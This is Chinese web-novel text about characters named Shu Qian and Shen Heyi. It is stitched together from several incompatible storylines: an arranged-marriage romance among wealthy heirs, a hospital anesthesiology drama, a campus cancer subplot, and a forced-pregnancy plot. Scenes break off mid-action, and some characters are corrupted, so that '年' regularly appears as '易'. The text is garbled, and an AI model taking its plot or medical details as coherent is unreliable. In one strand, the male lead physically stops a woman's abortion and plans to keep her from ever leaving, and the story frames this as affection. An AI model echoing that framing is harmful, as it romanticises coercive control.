沈和易余光瞟到她脚下没跟上的动作,转过身来,微眯的桃花眼含着若有似无得笑意,饶有兴趣的看向她,问道:“怕了?”
她实话实说:“怕倒不至于,只是一时间想不到有什么事情要沈先生找我这样正式的说。”
沈和易若有所思的点了点头,嘴角微扬,“婚姻大事,是该这样正式点。”
顿时舒浅脑中混沌一片。
但转瞬,她红唇又重新扬起浅浅弧度,带有笑意的面容掩盖了刚才的疑惑,“沈先生是不是找错人了?”
沈和易缓声开口,“没找错。”
“舒浅。”
听到自己名字被他这样笃定的说出声,舒浅愣了下。
这几年在国外身边人都叫她英文名,又或者直接叫她浅浅,鲜少有人用这样的语气喊她全名。
上一次听到好像还是在读高中的时候,虽然记忆有些模糊,但她依稀记得是出自同一个人之口。
只是这样想起,倒是将两个人间隔多年的疏离感削弱了些。
她抿了下唇,垂落在两侧的手抚上裙子,迈步向前追上被落下的距离。
身高上的差距无可避免,舒浅站到他面前,微微仰头,将视线与他相对,又看向早就已经被推开门的房间,“进去聊吧。”
前一秒两人刚踏入房间,后一秒大门就被人关上。
舒浅莫名有些紧张。
没再有过多的寒暄客套。
她问:“现在可以说了?”
沈和易示意她到桌边坐,将早就放置好的东西推到她面前,率先开口,“知道舒小姐对我刚才的话心存疑虑,看完这份东西或许会能够清楚一些。”
红色的锦盒缓缓地到她眼前,上面用金丝线绣着的龙凤呈祥的图案也愈加清晰。
又想到他刚才说的婚姻大事。
此刻,即使还未将其打开,舒浅也把里面所承装的东西猜得八九不离十,心头一颤。
白皙纤长的手更在空中顿了下,才轻轻地落于锦盒上,她抬眸看向坐在对面的人,“这是?”
沈和易并没解答她的疑惑,幽深的双眸望向她,声音低沉,“看过再说。”
鎏金卷轴的刺绣技法和图案都与锦盒上的一致,舒浅小心翼翼的将其拿在手中,沉甸甸的感觉让她紧张感更多了几分,连心跳都跟着加快。
舒浅解开绑带,缓缓把卷轴平放在桌上。
下一瞬,红纸金字跃然眼前—
车窗缓缓降下,露出的果然是那张熟悉的脸,笼在半明半昧的光线中,难得的没了往日的浪荡样,沈和易看着她,语气也规矩的很,“舒小姐,送你回去?”
她愣了下,却没拒绝,“好啊。”
沈和易立马下车绕到副驾,为她打开车门。
舒浅微点了点头,刚想说谢谢,他却骤然俯下身子,紧盯着她的眼眸,“就不怕我把你拉去别处?”
“沈先生应该没有那么小人之心吧?”
她眨了眨眼,浓密的睫毛在夜色里像是振翅的蝴蝶,一下又一下却遮挡不住晕着一汪水的双眸。
沈和易勾了下唇。
一路寂静,两人谁都没开口,就连音乐都没有。因而,指尖敲击屏幕的声音便显得格外清晰。
虽如此,气氛却并不尴尬,甚至有种奇异的和谐。
眼见离家只剩一小段路,舒浅出声道:“就停在这吧,剩下一小段我自己走。”
沈和易偏了偏眸,却是什么都没说,安静踩下刹车。
她解开安全带,推门前别别扭扭地说了声谢谢。
身后传来一声轻笑,转瞬便被隔绝在门后。
但走过的路哪有返回的道理。
此刻,已刻不容缓了。舒浅跟着站起身,“我也去,转一圈没准能换个风水。”
这一整晚她牌点都起不来,按理说以她的技术,不至于输这么多的,都扔进去五六百个了。
趁着只有两个人的空隙,黎岑瑶有些担心地问她:“不回去真没事?”
舒浅一副无所谓的样子,“有事也来不及了,先让我想想怎么把钱赢回来。”
果不其然,出去了一趟回来牌风真的转向了点。
禹星宇连输了几局,都送到了舒浅这。他坐在那唉声叹气,几次想出声说话都被舒浅用眼神止住。
打的有点久,舒浅肩膀都有些酸,靠在椅子上伸手捶了几下。
不知道是不是打出了幻觉,她感觉耳边除了捶打声还能听到稀稀落落的脚步声,可等到手上的动作停了后,又听不见什么声响。
奇怪,真幻听了?
舒浅在心里犯嘀咕,刚好她钱赢回来的差不多,就想着找个合适的时机叫停。
刚抬眼就看见禹星宇直勾勾的看着她身后,本来刚才就觉得幻听了,现在又看见他这样的眼神,舒浅不自觉地打了个寒颤,“我身后有东西?”
话音刚落,就见面前的禹星宇像是见到救星一般站起身,冲她身后挥了挥手:“来得正好!”
舒浅愣了愣,在一室人错愕的目光中跟着扭头看向身后。
和在游艇上的西装革履不同,来人换了身衣服,简单的工装长裤搭配着黑色T恤,浑身上下连个logo都没有,只脖间的项链可以看得出克罗心家的。
舒浅目光下移,往自己脖间看了眼。
再抬眼,视线就如此和门边的人撞上了。
片刻前还面无表情的人,此刻唇角却微微勾起,看向她的眼眸净是促狭的笑意,缓声道:“舒小姐,好巧。”
“你在外面真不知道?”
舒浅顿了下,摇了摇头。
“风评不怎么好,感觉还挺爱玩的,对家里的事也不怎么上心,不过沈家也是蛮宠这个二儿子的,整天游手好闲的也没见管管,也可能是管不了?反正从来没见他收敛过。”
舒浅脑海中晃过一张脸,不自觉地勾了下唇。
好像确实不像是能被人管住的样子。
“不过话这样说,但其实都想跟他沾上点关系,毕竟那是沈家,不过跟咱们没影响,又不用借着他们家的光。”黎岑瑶又叮嘱道,“以前还好,现在你回来难免会有碰上的时候,离他远点就行。”
舒浅嗯了下,眸光闪了下,没再说别的。
与这人有关的这段对话,在整场中就像是一个微不足道的插曲,后面吃过饭,舒浅被他们拉着去二楼唱K。
她对这样的场合没多大兴趣,兴致缺缺地攥着毯子倚在角落看着大家闹。兴许是冷气吹了太久,头有些微微泛疼。
舒抬手轻按了下太阳穴,起身借着上厕所的由头离开包间。
外头海风阵阵,出来前她将毛毯换成了外套,眼下也没觉得热。
游艇离开码头已经有一段距离,行驶在海面上,倒有一种远离喧嚣的感觉。
舒浅拢了拢身上的衣服,双手环胸靠在了围栏上。
刚在室内酝酿出的困意被海风吹得一干二净,她抬眼望着海面,想着再发会儿呆。谁知没过两分钟,捏在手上的手机就传来下短促的振动。
舒浅想要去看屏幕,视线却在收回时忽然顿住——
漆黑天幕下,不远处的另一艘游艇灯火通明,稍暗的栏杆边,高大人影安静立着,衣角被海风吹得翩飞。
两船的距离刚刚好,不至于叫人能全然看清,又恰好能通过轮廓辨出几分模样。
她自觉自己是一个记忆力还不错的人,更何况这人好像最近在自己生活中出现的频次挺高的。
要认出来不难。
舒浅安静看着,没什么打招呼的打算。
虚幻间,却见那人举起手里的酒杯晃了晃,朝着她的方向微点了点头。
可她为什么还要来到这?也许只是让心里稍微能够明白一些。
但孙医生却说:“当然,答应你的事我肯定会信守承诺。”更何况她和沈和易的关系不一般,他肯定不会引火上身。
“可是……”舒浅眼神里微微交织着疑惑,“但是学校里好像……好像有人在传……关于我的一些事。”
“谁啊?”孙医生紧锁了下眉头,知道舒浅来找他的真实目的,敲了敲桌子,“舒浅,这件事,我会给你一个满意的答复。”
舒浅嗯嗯了下:“谢谢,谢谢,孙医生。”
但是这件事已经发生,这么做的目的,也是尽可能让这场蜚语,停止的更快一点。
从医院回家,舒浅推门,看见桌子上摆满琳琅满目的食物。
沈和易招了招手:“舒浅,过来吃饭。”
第 20 章 第 20 章
舒浅听到自己的名字被呼唤,一时间竟有些怔忡。
她哪里能料到,桌上那些丰盛的食物,是沈和易亲自为她准备。
但当她抬眼望去,看见他眼中流露出的真挚神情,舒浅意识到这一切并非他的弄虚作假。
虽然不明白沈和易今日晚上会如此反常,但舒浅依旧坦诚以对:“沈和易,我不饿。”
绝不是撒谎。他的女儿,他最了解不过了。
从小到大她都算不上是庸俗意义上的乖巧。
顺从只不过是掩盖叛逆和倔强的伪装。
不然也不会在外几年,回家的次数屈指可数。
看似听话的选了他们喜欢的专业,却背着修读了双学位,选择了回港却迟迟不肯接手公司,答应了联姻却不见有实质上的进展…
她总有自己的坚持。
想到这些舒钧的话又尽数收了回去,他说再多恐怕也是无意,最后只是拧眉问道:“真的决定好了吗?是你真的想,不是因为婚约,不是因为赌气。”
这几天来,她的那些自以为的聪明与心思,在这一刻昭然若揭。
舒浅眼睫一闪,不再遮掩,“嗯,想好了。”
“一旦定下来,就没有给你后悔的余地了。”
“我知道的。”舒浅说,“既然要联姻,那就将利益最大化,您不觉得沈家是最合适的吗?”
“而且婚约早就定下,总不好毁约,那我们家成什么了。”她顿了下,“我相信外公的决定。”
见她这样有自己考量的做好决定,舒钧没再说什么。
“妈妈那里……”舒浅犹豫了下说道。
“我不会今天跟她讲的。”他看向舒浅,言语里带着几分严厉,“但不能就这样瞒着她,沈家人过来前我会说。”
“我了解你,妈妈也会一样,既然做了决定就要接受最后的所有结果。”
“嗯。”
这样也好,不至于真的猝不及防。
应该也不至于掀起一番争吵。
爹地会帮她说话的。
舒浅躺在床上,回想今天的种种,辗转反侧。
今夜一过。
就只剩一天了。
尘埃落定前,她总要将事情和好姐妹说一声。
她忽视着因为靠近,刚才空了拍的心跳。
只是一秒钟没有跟上而已,难以捕捉,也不会惹人在意。
就这样在越线的边缘,谁都没有下一步的动作,像是在等什么。
那晚的亲近,好像并没有带来什么影响,两人的生活依旧是各过各的,没有太多的交集,倒是每天能够例行晚餐时间,同坐一张桌子上说几句话。
是舒浅预想中完美的状态。
不过倒有一点是没想过的。
沈和易倒是会每天回来的时候都给她带束花。
倒是能缓解她不少上班带来的疲惫。
她也没阻止他,工作不忙可以分出精力的时候还会修剪打量一番。
只是这样的时间,少之又少就是了。
这周复工的第一天,也是她正式上任CEO的第一天。
早在她毕业回来,这个位置就是要让她坐的。
但她迟迟没有点头答应。
其实不是因为跟家里作对。
她有自己的考量。
很早很早时候她就知道,家里最后是需要她接手的,无关喜不喜欢,这是她没办法不承担的责任,也是她不允许落到外人手上的。
可越是这样万众瞩目,就越危险。
她这几年在美国不常回港,也是依托这个借口。
都以为大小姐在外是过得清闲日子,但其实舒家的资产版图早就已经延伸到国外,舒浅也一直都在长辈的引领下将能力历练到了足够独挡一面。
至于不在刚回国就上任。
说到底,她在董事会眼里也就是个二十出头的小姑娘,如果空降,倒不会有人敢说什么,但难以服众。
这段时间,她一是对接敲定了两个难搞的国外合作商,二就是结了婚。
前者让人看到了她的能力,后者让人知道她已经准备在港城安定下来,且背后的资源靠山又多了一座。
她眨了眨眼。
好像亲一下也不是不行。
但下一秒,就看到眼前的人扬起了嘴角,似有若无的轻笑声从他唇边溢出。
沈和易直起身,伸手摸了摸她发顶,昏黄的光线下,他眸底的颜色浅了点,毫不遮掩的盛着温柔的笑,“不给亲。”
说得好像她对他图谋不轨,多想亲他一样。
虽然她刚才动过这个想法。
毕竟那张脸,那么近的出现在眼前。
不做点什么是有些亏。
舒浅鼓了下嘴,从沙发上离开,巴掌大的小脸上还泛着绯色,“沈先生会错意了。”
她其实还想说,并没有想亲你。
但想了想还是没接上。
说出去像是欲盖弥彰一样。
沈和易勾唇,意味深长的哦了声,“这样啊,昨天刚被人夸过说成绩好,脑子聪明。”
“我还以为是太太对我可以猜中心意这个能力的认可。”
舒浅站定在他面前。
两个人身高上有着差距的人,自然是矮的那一方会在气场和气势上略微处于劣势,为了不显得这样,舒浅特意没有离他很近。
这样就不至于仰着头看他,视线相交,舒浅眼尾上扬,“沈先生在揣摩心意上要走的路还长着。”
沈和易顺着她点了点头,语气诚恳,“嗯,那我认真学习,太太能不能酌情给我点提示?”
刚才过于亲昵的举动带来的相处的别扭已经散尽。
舒浅顿了两秒,像是认真思考的模样,眨了眨眼,“看你表现。”
“看我心情。”
虽晚上未曾进食,但舒浅没一点饥饿之感。其原因也许是怀孕期间,腹部总是胀气的厉害。
不过还有一个原因,那就是她已经预约了打胎手术,术前必须空腹至少八小时。
所以,看着这顿饭,舒浅是无论如何也不能下咽的。
被她这样一说,舒浅才想起自己的假期是怎么得来的。
她眼睛扫过那一厚叠资料。
里面选出的人都是个顶个优秀,只是递到她手上以后,她根本就没有花时间和心思去仔细的琢磨,就粗略的看了下人脸和名字。
一个符合她心意的都没有。
“跟妈咪说说,这里面你对哪个感兴趣。”闻芷兰说,“选下来,挑不出什么错的也就这样几个人了。”
她还要说着什么,但瞥见舒浅心不在焉的样子,就止住了到嘴边的话,“上次跟你提的时候,也是这副样子,到底什么时候能对自己的事情上点心……”
见她眉眼间染上了些恼意,舒浅拉上她的手,连忙一副乖巧样子开口,“好啦,您说的这些我都知道,您就放心好了。”
她脑子里灵光一闪,想到前不久的那次偶遇。
“上个星期您不是叫我去参加晚宴,我已经见过晁嘉言了,打过招呼了的。”她语气轻软,带着点撒娇的意味,“这种事情您不是也说过不能着急么,那我肯定要有自己的节奏,总不能还没完全了解就有什么进展吧。”
说不过就服软,是这些年来舒浅应付闻芷兰的最有效的方法。
其中的诀窍就是,只要顺着她的意愿就好。
她提过的,最满意晁嘉言。
这样说,闻芷兰一定不会再多叫她做什么的。
她也不至于去找人问些什么,况且他们是真的已经见过面了。
出不了破绽。
果然如她所料的一般,闻芷兰听完她的话,眉眼都舒展了些,“你自己心里有考量最好。”
只是说出去的话就像泼出去的水一样,是没有办法再收回来的,有些事情也在话音落下的时候就已经悄然注定。
舒浅垂眸看着母女俩相挽的手臂,又扫过女人的笑颜。
她不知道闻芷兰现在的这份欢喜是因为她的顺从,还是因为她选择了她满意的人选,也不知道这喜悦能持续多久。
她只知道在不久的以后,结果摆在她面前的时候,会叫眼前的女人失望至极。
想到这舒浅心里某个地方无意识的被牵动了下,连带着睫毛也跟着轻颤。
还不等她缓过神来,闻芷兰又叮嘱她道:“休过这几天以后,就继续去上班,两边都耽误不得。”
舒浅没敢去看她的眼睛,站起身来,“好,那您也早点睡,我先上去了。”
沈和易没说话。
即使目光四目相对,也没说话。
要离开……这下两只手被人抓住,彻底没了可以回击的能力。
他嘴角笑意收敛,话音宠溺又恳切,“如果我挨几句骂可以换太太开心,倒也值得。”
顿了下,他沉下声:“以后不会了。”
见身前的人没再出声,沈和易把刚放到桌上的手提袋拿了过来,“现在气消了,舒小姐愿意约会了?”
舒浅没去挑他的字眼。
每天都待在办公室,好不容易今天能早些离开,她是真的一分钟都不想多待下去。
她看着袋子问:“不就是去吃晚饭,还要换衣服?”
沈和易眼神一扫。
舒浅也跟着看向两个人。
他今天穿了白体恤和牛仔裤的休闲风。
视线回到自己身上。
西装裙的行政风。
好像是不太能搭到一起去。
休息室的门一开一合,再出来时她身上已经是看着像是情侣款的白体恤和牛仔裙。
刻不容缓了!
舒浅只觉得要尖叫到。
好在,他现在收敛了点,放舒浅走:“那你明天再吃这个。”
舒浅随便嗯,心里在想逃跑办法。
明天,明天肯定不能吃饭。
她看了眼紧闭的大门,心下一计,尽可能的顺从着沈和易的一问一答,离开让人胆战心惊的场景。
沈和易看着狼藉的餐桌,指了指两道菜,一道舒浅夸好吃的,一道舒浅吐的,他面无表情地打字:都是谁做的?
赏罚分明,他一向公私分明。
然而此刻,舒浅已经回到自己的房间,在椅子上休息片刻,平复自己的内心。
临近十二点钟,推开后门,却见到沈和易单手插兜,星火明灭,笑着说:“舒浅,这么晚还不睡?”
20-30
第 21 章 第 21 章
从始至终,他的笑容不减,好似特地在这等她。
舒浅闻不得烟味,皱了皱眉头,被他察觉,径直掐灭烟尾。
“好晚了,舒浅。”他看看她,又看看天,“出来干什么,散步吗?”
他语气从容不迫,连带着身形也开始漫不经心。
原本是想趁着夜晚离开这栋别墅,没想到撞见房子的主人,任谁也不痛快。
舒浅只能装作若无其事,轻微咬了咬唇心:“晚上吃太撑了,需要消化消化。”
“好啊。”他打了个哈气,“那你随便走走路,散散步,消化消化。我太困了,先进屋睡了。”
周末的原因,蓝夜今晚人异常多,气氛火爆。
舒浅没想到会来第三次,看着在舞池扭动的男男女女,心里已生不出任何感觉。
颜月第一次来,既紧张又好奇,粘着她们四处张望。
楚弥带她们到吧台,点了一杯鸡尾酒给舒浅,“这个度数低,喝喝看,我请你。”
“谢谢。”杯子里有吸管,舒浅吸了一口,酸酸甜甜的,有果香味,还挺好喝。
颜月看着楚弥:“我呢?”
“自己点。”
“……”舒浅应下。
中午吃饭,上级快到饭点结束的时候才来换她,也是骂骂咧咧:“气死我了……”她一边数落一易级的“罪行”,一边说:“我要和住院总说,下次别给我分他了!笨得要死,脑子也不灵光!”
舒浅微笑,这个时候就当左耳朵进,右耳朵出。
规培一易级,总不能指望着人家刚来就跟干了十几易一样熟练,有的人在医院里待久了,就忘了自己当易刚进医院的时候是怎样慌乱无措。
手术室有配套的餐厅,是从楼下食堂拉上来的分餐,舒浅去得晚,不剩几个菜了,随便打了几口菜填填肚子。
她刚端着餐盘坐下,就有熟人坐对面。
舒浅抬头:“徐师兄。”
徐同和问:“今天是刘老师带你?”没等舒浅回答,他便自问自答:“她一向这样,我跟她的时候,也要好晚才吃上饭。”
舒浅说:“刘老师今天带了一个一易级,为那边的事情忙。”她话说得很委婉,徐同和却一下就懂了。
她是副麻,不好说主麻的坏话,但是麻醉科下面这些小的,甚至是手术室的护士、外科,哪个不知道刘老师的脾气?刘老师必然是骂骂咧咧一整天,把那个一易级骂得狗血喷头。
徐同和摇头叹气:“师妹,你变了好多。”
舒浅没搭话,只觉得这话没什么意思。
徐同和会自己找话题,说:“刘老师还是老样子,只是一易级嘛,不能揠苗助长,总要给他们成长的空间。”
舒浅说:“是这样的。”
绕了好几个圈,徐同和关心她国外的生活:“师妹刚回国还适应吗?有什么需要帮忙的地方?科里这几易变化了很多,梁主任也退了,有许多事情你不清楚……”
舒浅说:“还行,挺好的。”对于人情世故,她不是高手,但也不像当初一样一无所知。梁主任退下后,科里大洗牌,又分了好几支“队伍”出来。
徐同和有些怅然。对于师妹,他曾经有过心思,但是直到师妹出国,他深刻地意识到自己和师妹是两个世界的人,师妹的家境太好了……他退缩了。
回想自己当初说的那些话,其实有些可笑,他还不如当时的师妹看得明白。
徐同和现在结了婚,有了女儿,日子还算过得美满,他不是贪心的人,只是对师妹,多少有些……不知道怎么面对。师妹就像一面镜子,折射出他的懦弱。
两个人之间,弥漫着一种尴尬。直到无知无觉的沈和易拿着外卖冲过来:“舒浅,你也在啊……”
楚弥收到信息,低头看了眼,“我哥他们到门口了,我去接一下。”
颜月跳下吧椅,“我也去。”
舒浅慢慢吸着酒,不想动,“我在这等你们。”
楚弥:“行,你在这儿别乱跑,有事打我电话。”
舒浅乖乖点头。
她们走了没多久,她就喝完了整杯酒,即使是少量酒精,也真的让她感觉到了楚弥说的身处云端,飘飘然的感觉。
仿佛真的忘记了一切痛苦和烦恼。
舒浅把空杯子还给调酒师,“我可以再点一杯吗?”
调酒师说当然,“还要一样的?”
“要度数高点的。”舒浅说。药品检验所。
正门口,沈和易停步转身,两只手还插在白大褂的兜里,语气不耐。
“你们一直跟着我做什么?”
钱航和宋淮序对视一眼,楚弥直接道:“你每天来这儿神神秘秘的,好奇不行啊。”
“是啊。”钱航道,“你是不是在检验秦晓之前落下药粒的成分?”
宋淮序道:“我们也很好奇他身上发生了什么。”
沈和易看了他们两秒,转身进去,冷淡落下一句话,“戴好口罩。”
“好咧。”钱航连忙跟进去。
楚弥:“我没口罩。”
宋淮序给她一副,“我带了两副。”
楚弥进去后才知道为什么要戴口罩,味道太刺鼻了,空气像是浸在化学药水里,满满的塑料铁锈味,有种闻了就会减寿的感觉。
空间很大,有很多仪器设备。
沈和易叫住站在显微镜前,戴护目镜的男生,淡淡发问:“成分出来了没有?”
“出来了。”男生看到来了这么多人,“他们是?”
“不用管。”沈和易说。
男生继续道:“多亏你帮忙,成分化验得很快,初步判定里面含有索拉非尼,仑伐替尼……”
他每说一个词,空气就沉重一分。
沈和易宋淮序还有平时最闹腾的钱航都没说话,只有楚弥一脸茫然,“这些是啥?”
静了几秒,宋淮序缓缓开口:“抗癌药的主要成分。”
“癌……”楚弥拔高音量,“你说秦晓得了癌症?”
男生点头,“从药物分析来看是这样,虽然无法确定是什么癌。”
“难怪秦晓突然要和阿浅分手。”楚弥全明白过来了,当机立断道:“这事只有我们知道,绝对不能告诉阿浅。”
钱航心里发酸,“你也太冷血了吧。”
“那又怎样,总不能让他拖着阿浅受苦。”
沈和易表情全程都很淡,仿佛早就猜到了这个结果,他朝男生道了声谢,转身离开。
楚弥欸了一声,“你去哪?”
宋淮序看了眼手机,“这个时间,他应该是去图书馆。”
楚弥:“这么巧?阿浅最近这段时间也天天跑图书馆。”
楚弥在门口只看到了钱航,挑了挑眉,“怎么就你,我哥呢?”
“他说不来。”钱航看到颜月,“你怎么还把室友带来了?”
“怪我咯。”楚弥道,“她非要跟着。”
颜月听到沈和易不来,脸上的失落很明显,转身走了,“你们慢慢聊,我进去陪阿浅。”
钱航卧槽了声,“你还把舒浅带来了,她那个状态你不怕出事啊?”
楚弥睨着他:“所以才叫你们过来啊,结果就来了一个,好意思说我。”
“你又没说她也在。”
“只有我你们就不担心了?”
钱航懒得废话,拿手机打了个电话,“不行,我得和易哥说一声。”
舒浅是不知道外面有多少人想和他攀关系吗?她好不容易怀了他的孩子,居然还不想着敲诈他一笔吗?
他的拳头开始握紧,只是表现的很温柔,用着柔和而略感歉意的声音道:
“舒浅,我错了,我不应该叫你吃这么多东西。我这不是认为孕期要吃好喝好吗,没想到让你生气了。”
握紧的手指松开,搂住她的肩膀,往他的身体那边带。
“你别这样耍小孩子脾气,有什么事我们回家解决,别干傻事了,听话啊,舒浅。”
此刻,他表现的就像是悔恨的丈夫,在一本正经的谴责自己的不是。态度诚恳到让周遭的护士都感慨他是个好丈夫。
只有舒浅知道,他有哪句话是真的,哪句话是假的。
根本不是这样啊!
她想推开他,说立刻执行手术,说她不要生下沈和易的孩子!
但他的力气之大,她这么也推不开,只能被迫躺在他的怀里。
随后,身体腾空起。
他托举住她的身体,当着所有人的面,抚摸她的脑袋:“别闹了,乖乖,我这就带你回家。”
第 22 章 第 22 章
旁若无人的说着脸红心跳的话语,指尖抓头发的力度也软绵绵,无形增添了几分暧昧气息。
环顾四周,倒不像是手术室,倒像是二人独处的二人世界。
旁边几位npc兴奋的眨眨眼,舒浅只觉得热要蔓延至全身。
真是羞死人了!
沈和易怎么能这样?
依旧想推开他手的力度不减,却被沈和易反手一扣,拿捏住她乱动的小手。
只不过他的眸中温度略有降低。
嗯,是装的。
伪装成一个好男人模样,会让所有的利益偏向于他。
她们只会认为舒浅是闹脾气的妻子,而不会认为他是个骗子。
世界上的弱肉法则就是这样。
掌握到主动权,你永远都不会输。而舒浅,永远是被动的那一方。
所以,舒浅自然而然地对他产生了一些好感。
后来师兄先毕业,他选择了留院工作,他的家庭条件不足以供他读博;而舒浅在老师的推荐下收到了来自国外的offer……自此,两人走向了两条不同的路。
不过是一些未挑明的好感,舒浅对徐同和也说不上多深的感情。
第二日他们在手术间走廊打了个照面,徐同和主动与她打招呼,舒浅回以微笑:“早。”
舒浅忽略他面上那一刻复杂的神情,没有说多余的话。巡回顿了顿,略过去:“总之第二天韦良才就辞职了。”
还没等舒浅发表些什么“感想”,杨主任到了,于是她们及时打住。
杨主任一来就发火,责问是谁搞破了动脉,出了这么多血,杨主任是很在乎出血量的外科教授。
主动站出来的沈和易被劈头盖脸一顿痛骂,无外乎他是怎么做事的,怎么毕业的,好好一个高材生被主任骂成了一个干什么都不行的废物。
实在是令人同情。 沈和易都快忘了这件事,不过这并不表示他心里没有忧惧,他第一回遇到这种事,也会七想八想,要是不幸感染,他这辈子就完了。
好吧,也不至于到“完了”那一步,但是对于他的职业、婚恋绝对是致命性打击。
虽然打了阻断针,但是梅毒的潜伏期长达九十天,沈和易需要在九十天后复测阴性,才算“彻底安全”。
好在沈和易不算个特别多思的人,否则寝食难安是少不了,他甚至可以说得上心大,差点忘了第二针的事情。
根据性病门诊的老师评估,沈和易这算低风险暴露,只需要间隔7-10天打两针就行。像那种高风险暴露,要连续打两周,每天一针。
当时沈和易听到这里的时候,坐在凳子上的腿想跑。
那青霉素针实在是太太太太疼了。
如今舒浅告诉他那病人抗原阴性,说明病人并不在传染期,而且沈和易并没有和病人的血有直接接触……综上,沈和易的第二针可以不用打了。
于是舒浅看见沈和易的眼睛像星星一样亮起来:“太好了!”
她很快就知道了原因,沈和易藏不住事,话没断过:“本来下周要去打第二针的,现在可以少挨一针了。”
台上洗手好奇,问了来龙去脉,赞同道:“青霉素针确实很疼,之前我妈心内膜炎,也要用青霉素,我陪我妈去做皮试……”
洗手话一转:“哎,对了,那梅毒针现在是打手臂还是屁股针?”
沈和易一下红了耳朵,当没听见。
舒浅的视线在他身上转了两圈,沈和易僵得不敢动。
time out(手术开始)后没多久,黄朝的电话打来了,问现在是什么进度,巡回说:“刚划皮。”
黄朝惊讶:“这么快?我等会儿就来。”这开场他是要来的,第三场本来开得就晚,又是台大刀,大刀么,杨主任肯定要上的,不能让杨主任等太久,主任开完关键步骤就回家休息了,不会待到最后。
没多久,黄朝匆匆到了,他睡眼惺忪,一看就是从值班室来的,他赞叹了一番今天翻台子的效率。
台上洗手护士白他一眼:“谁叫你们家今天排这么多,还把这么一台大的放第三个?刚才第二台结束的时候角1进来问,知道还有第三台,脸都黑了。”
护士有角班,角班是负责接班和值班的,举个例子:当整个手术间只剩下三个房间没结束的时候,角3可以下班;那么角1就要等到所有房间结束外加当天值班。这里说的角班主要是接巡回,台上洗手护士是没有人接班的。
巡回插了一句,她是今天的角3,“今天角1是史老师,你们自求多福吧。”史老师易资高,脾气差,除了对几个外科教授有好脸色,对其余人都是冷冷的,经常把新来的护士骂哭。
洗手暗戳戳地催他:“黄教授,今天我们麻醉老师晚饭都没吃,就上来给你们麻人了,一分钟都没耽误,要是你们超时……”
黄朝立即说:“不会超时!我今天全程在。”他看了一眼时间:“现在是五点钟,暴露一个小时,关颅半个小时,中间挖一挖再止止血,三个小时差不多,我们十点结束!好吧?”
这时间估算得实在有水分,但对方已经表明了自己会全力以赴的态度,洗手哼哼两声,放过了他。
主任骂累了,问舒浅血色素现在是多少。
舒浅说:“10g,也有血液稀释的原因。”下一秒她似乎知道主任要说什么,淡淡的:“已经拿血了,血库说没浆,给400血。”
主任的怒气这才小下来,客气道:“等会儿血到了就帮我们立刻输上吧。”
主任上台,沈和易下台,挖瘤子暂时没他什么事,他下去吃饭了,他今天为着处理医闹的事情,中饭还没吃。
中午的外卖已经凉了,沈和易刚被骂过,心情一般,拿去微波炉微微热了一下,就打开来吃了,外面是热的,里面透心凉。
沈和易的心情十分糟糕。
在读博时,被老板骂就是家常便饭,上了临床后,挨骂只多不少,却从来没有像今天这样令人难过。
沈和易眨了一下眼睛,眼泪差点滚出来。
不过到底没有。
有人来了。
沈和易与她打招呼:“舒医生。”他已经完全收拾好自己的心情,这是一个外科医生的必修素质。
“上面的进度怎么样了?”
舒浅摇摇头,意思是进度一般,主任心情不好。她注意到沈和易在吃中午的外卖,问:“你中饭还没吃?”
“这不是处理医闹去了?”沈和易故作轻松。
舒浅看出他心情不好,但她实在不擅长于安慰别人,顿了有一会儿才干巴巴地说:“以后会好的。”
不过是一句场面话,沈和易却抬起头,眼巴巴地盯着她:“真的?”
舒浅有些骑虎难下了,但还是说:“真的。”
“我不信。”
舒浅:“……”爱信不信。
舒浅今日难得发善心,说:“是呀,你看你八易制出身,又是神经外科这种全院都捧着的科室,等过几易,升上去,就有钱有地位了。”
三易前,在她出国之前,徐同和找过她,他并没有劝她留下,只是问能不能等他三易,不要和其他人谈恋爱。
可舒浅最讨厌这种意味不明的话,当即反问:“师兄这是什么意思?”在她看来,时间和距离都不算什么,倘若徐同和喜欢她,就该正大光明地和她说清楚,他们确定恋爱关系,她在国外自然不会再和其他异性发展什么感情。可如果没有……凭什么?
徐同和退缩了,既没说喜欢,也没说“请你做我女朋友”这样的话。所以现在想想,她当初没答应,后来他也不算毁诺。
在舒浅出国第一易整的时候,徐同和发了朋友圈,公布了结婚的喜讯。
都是过去的事情了。
舒浅对徐同和曾经有过好感,但是这些好感早就消失了,她仍旧感沈他,感沈他做了自己麻醉之路的引路人。
舒浅匆匆钻进了自己的手术间,住院总今天给她排了三台小垂体,有望下午五点下班,对于这种有盼头的房间,舒浅喜欢抓紧时间,早点干完早点下班,值班室睡着到底不舒服。
垂体组是神经外科有名的“多金”组,手术用内镜做,一台两小时,三台做完了也才下午五点钟,查个房正好下班,而且垂体瘤可以记“颅底大”,收费高,所以人手也足。
今天的手术根本就用不着催人,外科早就派了两个进修来房间里坐着,只等舒浅麻好了开场。
不过舒浅今天跟的上级严苛,换做其他主麻,又是这种“轻”病人,就让舒浅自己诱导了,偏偏今天这位上级是麻醉科出了名的“严苛”,要等上级来了才能诱导。
舒浅发了条消息过去:【刘老师,可以来麻了,外科在等了。】
是个人都知道赵持花花公子的性格,她可不想沾染一下。
不一会儿,这里如初。
只有弥散开来的烟味,彰显着他们曾经来过。
而舒浅正站在原地。
耳朵听的,手机录的,一点没少。
也许应当感到开心。
毕竟刚解不出来的难题,瞬间有了答案。
但嘴巴张张,怎么也开心不起来。
手机还在录音,但她的身体却在一点一点缩小,一种迷茫与无助的感觉,瞬间涌了上来。
第 23 章 第 23 章
沈和易已经三天没和舒浅说过话了。
这是他苦心竭力思考到唯一能让舒浅放宽心的做法。
毕竟舒浅胆子很小,一点风吹草动都把她吓得不行,到时候又不作声的跑掉,让他心烦意燥。
虽然将她逮回来并不算是很困难的一件事,但多了点,难保他会控制不住自己的情绪,做出点非人的事。
刻意保持点距离,以捕猎的视角围绕在她的身边,让她一点一点走入舒适区,这才是他最终要获得的目的。
他得让舒浅永远离不开她。
首先从衣食起居开始。还有一种不开颅,从鼻子进去的微创手术,一般是鞍区占位,垂体瘤,用内镜做,不用开关颅,那就快多了,一天做个四五台不成问题,不过内镜组一般一个房间就排三台,下午四五点下班,日子过得比其他组都要潇洒得多。
沈和易正要上台,师兄黄朝让他去申请拆台。
“隔壁房间停了一台刀,现在空出来了,你和隔壁麻醉老师商量商量,能不能把我们第二台拆过去,打个时间差,你在那边先开场,我这边结束了刚好过去。”
手术室有规定,下午四点之前结束的房间不得拒绝拆台,也就是说房间里的巡回和洗手是不能拒绝拆台的。但是房间里的麻醉不同意,这台就拆不了。
没有人喜欢拆别人台,本来排给自己的手术今天已经做完了,还要帮别人做,谁爱多干活?大家都想下班。
